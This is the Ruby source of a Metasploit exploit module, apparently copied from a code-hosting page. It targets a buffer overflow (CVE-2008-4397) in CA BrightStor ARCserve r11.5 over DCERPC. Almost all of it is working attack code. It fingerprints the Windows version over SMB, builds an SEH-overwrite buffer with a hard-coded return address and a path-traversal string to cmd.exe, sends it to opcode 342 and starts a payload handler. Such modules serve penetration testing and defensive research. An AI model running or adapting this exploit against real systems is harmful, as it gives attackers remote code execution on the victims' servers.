119 lines
3.2 KiB
Ruby
119 lines
3.2 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = AverageRanking
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include Msf::Exploit::Remote::DCERPC
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::Remote::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Computer Associates ARCserve REPORTREMOTEEXECUTECML Buffer Overflow',
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'Description' => %q{
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This module exploits a buffer overflow in Computer Associates BrighStor ARCserve r11.5 (build 3884).
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By sending a specially crafted RPC request to opcode 0x342, an attacker could overflow the buffer
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and execute arbitrary code. In order to successfully exploit this vulnerability, you will need
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set the hostname argument (HNAME).
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},
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'Author' => [ 'Nahuel Cayento Riva', 'MC' ],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'BID', '31684' ],
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[ 'OSVDB', '49468' ],
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[ 'CVE', '2008-4397' ],
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[ 'URL', 'http://crackinglandia.blogspot.com/2009/10/el-colador-de-ca-computer-associates.html' ],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread',
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},
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'Payload' =>
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{
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'Space' => 550,
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'BadChars' => "\x00\x0a\x0d\x5c\x5f\x2f\x2e",
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'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Computer Associates BrighStor ARCserve r11.5 (build 3884)', { 'Ret' => 0x2123bdf4 } ], # ASCORE.dll 11.5.3884.0
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],
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'DisclosureDate' => 'Oct 9 2008',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('HNAME', [ true, 'The NetBios hostname of the target.']),
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Opt::RPORT(6504)
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], self.class)
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end
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def fingerprint
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datastore['RPORT'] = 445
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os = smb_fingerprint()
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return os
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end
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def exploit
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path = fingerprint()
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if (path['os'] !~ /Windows/)
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print_error("Target not supported!")
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return
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elsif (path['os'] =~ /Windows 2000/)
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dir = "winnt"
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offset = 442
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else
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dir = "windows"
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offset = 436
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end
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print_status("Identified OS '#{path['os']}', setting appropiate system path...")
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datastore['RPORT'] = 6504
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connect()
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handle = dcerpc_handle('506b1890-14c8-11d1-bbc3-00805fa6962e', '1.0', 'ncacn_ip_tcp', [datastore['RPORT']])
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print_status("Binding to #{handle} ...")
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dcerpc_bind(handle)
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print_status("Bound to #{handle} ...")
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buffer = rand_text_alpha_upper(offset) + generate_seh_payload(target.ret)
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sploit = NDR.string("#{datastore['HNAME'].upcase}")
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sploit << NDR.string("..\\..\\..\\..\\..\\..\\..\\..\\..\\#{dir}\\system32\\cmd /c \"""\"""")
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sploit << NDR.string(buffer)
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sploit << NDR.string(rand_text_alpha_upper(20))
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sploit << NDR.long(2)
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sploit << NDR.long(2)
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sploit << NDR.string(rand_text_alpha_upper(20))
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sploit << NDR.long(0)
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sploit << NDR.long(4)
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print_status("Trying target #{target.name}...")
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begin
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dcerpc_call(342, sploit)
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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